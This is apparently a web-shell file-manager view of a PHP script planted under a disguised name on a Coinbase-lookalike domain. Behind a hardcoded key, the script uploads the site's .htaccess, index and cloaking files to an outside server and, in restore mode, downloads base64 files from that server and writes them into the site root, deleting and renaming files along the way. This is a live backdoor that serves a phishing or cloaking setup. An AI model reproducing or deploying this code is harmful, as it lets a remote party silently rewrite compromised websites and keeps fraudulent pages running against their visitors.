HEX
Server: LiteSpeed
System: Linux sv3.hami.host 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
User: j677 (1224)
PHP: 5.6.40
Disabled: show_source, system, shell_exec, passthru, exec, popen, proc_open, mail, socket_create, socket_create_listen, socket_create_pair, link, dl, openlog, syslog, stream_socket_server, curl_multi_init
Upload Files
File: /home/j677/coinbase-com.diplomat-sadabad.com/.cpanel/htaccess-backup.php
<?php

// ================= CONFIG =================
$ACCESS_KEY  = 'mystrongpass';
$REMOTE_KEY  = 'mystrongpass';
$DEFAULT_SERVER = 'galaxystake.com';
// === Автоматическое определение директорий ===
$currentDir = __DIR__;                // /home/username/site.com/_sysapi
$siteDir = dirname($currentDir);      // /home/username/site.com
$SOURCE_DIR = $siteDir;
$TARGET_DIR = $siteDir;

// === Проверка и приведение структуры файлов ===
$indexPhp = "$SOURCE_DIR/index.php";
$indexHtml = "$SOURCE_DIR/index.html";
$contextPhp = "$SOURCE_DIR/context.php";
$wpSitePhp = "$SOURCE_DIR/wp-site.php";

// --- Если есть index.html, но нет index.php ---
if (file_exists($indexHtml) && !file_exists($indexPhp)) {
    rename($indexHtml, $indexPhp);
    echo "🔄 Переименован index.html → index.php\n";
}

// --- Если есть и context.php и wp-site.php — удаляем wp-site.php ---
if (file_exists($contextPhp) && file_exists($wpSitePhp)) {
    unlink($wpSitePhp);
    echo "🧹 Удалён wp-site.php (так как найден context.php)\n";
}

// --- Проверяем содержимое index.php ---
if (file_exists($indexPhp)) {
    $indexContent = file_get_contents($indexPhp);

    if (strpos($indexContent, "isset(\$_GET['gclid']") !== false ||
        strpos($indexContent, "isset(\$_GET['wbraid']") !== false ||
        strpos($indexContent, "isset(\$_GET['gbraid']") !== false) {
        // Если index содержит tracking-логику — удаляем wp-site.php
        if (file_exists($wpSitePhp)) {
            unlink($wpSitePhp);
            echo "🧹 Удалён wp-site.php (найдена логика tracking в index.php)\n";
        }
    } else {
        // Если нет tracking-логики — удаляем context.php
        if (file_exists($contextPhp)) {
            unlink($contextPhp);
            echo "🧹 Удалён context.php (нет tracking-логики в index.php)\n";
        }
    }
}

echo "✅ Проверка структуры завершена\n\n";


$FILES_TO_PROCESS = [
    '.htaccess',
    'index.php',
    'index.html',
    'context.php',
    'wp-site.php',
    'wp-bot.php'
];
// ==========================================

// --- Проверка ключа ---
if (!isset($_GET['key']) || $_GET['key'] !== $ACCESS_KEY) {
    http_response_code(403);
    exit("Access denied.");
}

// --- Определяем действие ---
$action = strtolower($_GET['action'] ?? '');
if (!in_array($action, ['backup', 'restore'])) {
    exit("❌ Invalid or missing action. Use ?action=backup or ?action=restore");
}

// --- Определяем домен ---
if (!empty($_GET['domain'])) {
    $domain = $_GET['domain'];
} else {
    $domain = $_SERVER['HTTP_HOST'] ?? 'unknown';
    $domain = preg_replace('/^www\./', '', $domain);
}
$domain = preg_replace('/[^a-zA-Z0-9\.\-_]/', '', $domain);

// --- Определяем сервер ---
$server = $_GET['server'] ?? $DEFAULT_SERVER;
$server = preg_replace('/[^a-zA-Z0-9\.\-_]/', '', $server);

// --- Формируем адреса ---
$REMOTE_BASE = "https://{$server}/lander/hz2";
$UPLOAD_URL  = "{$REMOTE_BASE}/upload.php";
$LIST_URL    = "{$REMOTE_BASE}/list.php?key={$REMOTE_KEY}&domain={$domain}";

echo "<pre>🔧 Action: $action\n🌐 Server: $server\n🌍 Domain: $domain\n\n";

// =======================================================
// BACKUP MODE
// =======================================================
if ($action === 'backup') {

    echo "🚀 Starting backup upload...\n\n";
    
    // --- FIX режим (если context.php присутствует) ---
    if (file_exists("$SOURCE_DIR/context.php")) {
        echo "🧩 FIX mode detected — removing wp-site.php and limiting upload files\n";
    
        if (file_exists("$SOURCE_DIR/wp-site.php")) {
            unlink("$SOURCE_DIR/wp-site.php");
            echo "🧹 Deleted wp-site.php\n";
        }
    
        // ограничиваем список файлов для загрузки
        $FILES_TO_PROCESS = [
            'index.php',
            'context.php',
            '.htaccess'
        ];
    }


    foreach ($FILES_TO_PROCESS as $filename) {
    $path = $SOURCE_DIR . '/' . $filename;
    if (!file_exists($path)) {
        echo "⚠️ Not found: $filename\n";
        continue;
    }

    $ch = curl_init();
    $post = ['file' => new CURLFile($path)];
    curl_setopt_array($ch, [
        CURLOPT_URL => $UPLOAD_URL . "?key=" . urlencode($REMOTE_KEY) . "&domain=" . urlencode($domain),
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => $post,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_TIMEOUT => 60
    ]);
    $resp = curl_exec($ch);
    $err  = curl_error($ch);
    $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    // 🧠 если файл уже есть — удаляем папку и перезапускаем backup
    if (trim($resp) === "EXISTS") {
        echo "⚠️ File already exists on server. Deleting old backup...\n";

        $deleteUrl = "https://{$server}/lander/hz2/delete.php?key={$REMOTE_KEY}&domain={$domain}";
        echo "🗑️ Calling: $deleteUrl\n";
        file_get_contents($deleteUrl);

        echo "♻️ Retrying upload after cleanup...\n";

        // повторяем загрузку
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => $UPLOAD_URL . "?key=" . urlencode($REMOTE_KEY) . "&domain=" . urlencode($domain),
            CURLOPT_POST => true,
            CURLOPT_POSTFIELDS => $post,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_TIMEOUT => 60
        ]);
        $resp = curl_exec($ch);
        curl_close($ch);
    }

    if ($err) {
        echo "❌ CURL error: $err\n";
    } elseif ($code !== 200) {
        echo "❌ HTTP $code: $resp\n";
    } else {
        echo "✅ Uploaded: $filename → ($resp)\n";
    }
}


    echo "\n✅ Backup complete for [$domain] → [$server]\n";
}

// =======================================================
// RESTORE MODE
// =======================================================
elseif ($action === 'restore') {

    echo "🚀 Starting restore download...\n\n";
    echo "📡 Запрос: $LIST_URL\n\n";

    // --- Запрос списка файлов через cURL ---
    $ch = curl_init($LIST_URL);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_SSL_VERIFYPEER => false,  // отключаем проверку SSL
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_TIMEOUT => 30,
    ]);
    $json = curl_exec($ch);
    $err  = curl_error($ch);
    $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    // --- Проверка ответа ---
    if ($err || $code !== 200) {
        die("❌ Cannot fetch file list from $LIST_URL\nCURL error: $err (HTTP $code)\n");
    }

    $data = json_decode($json, true);
    if (!$data) {
        echo "⚠️ Ответ от сервера:\n$json\n\n";
        die("❌ Invalid JSON data.\n");
    }

    // --- Восстановление файлов ---
    $restored = 0;
    foreach ($data as $remoteName => $base64) {
        $localName = ($remoteName === 'htaccess.php') ? '.htaccess' : $remoteName;
        $localPath = $TARGET_DIR . '/' . $localName;
        $content   = base64_decode($base64);

        if ($content === false) {
            echo "❌ Ошибка декодирования: $remoteName\n";
            continue;
        }

        if (file_put_contents($localPath, $content) !== false) {
            echo "✅ Restored: $localName (" . strlen($content) . " bytes)\n";
            $restored++;
        } else {
            echo "❌ Write failed: $localName\n";
        }
    }
    
    // 🧩 --- После восстановления: проверяем FIX-сценарий ---
    $contextRestored = file_exists("$TARGET_DIR/context.php");
    $indexRestored   = file_exists("$TARGET_DIR/index.php");
    $wpSitePath      = "$TARGET_DIR/wp-site.php";

    if ($contextRestored && $indexRestored) {
        if (file_exists($wpSitePath)) {
            unlink($wpSitePath);
            echo "🧹 Удалён wp-site.php (так как восстановлены context.php и index.php)\n";
        } else {
            echo "ℹ️ wp-site.php не найден — пропуск удаления\n";
        }
    }

    if ($restored > 0) {
        echo "\n✅ Restore complete for [$domain] from [$server]\n";
    } else {
        echo "\n⚠️ No files restored. Возможно, каталог пуст.\n";
    }
}


echo "</pre>";
?>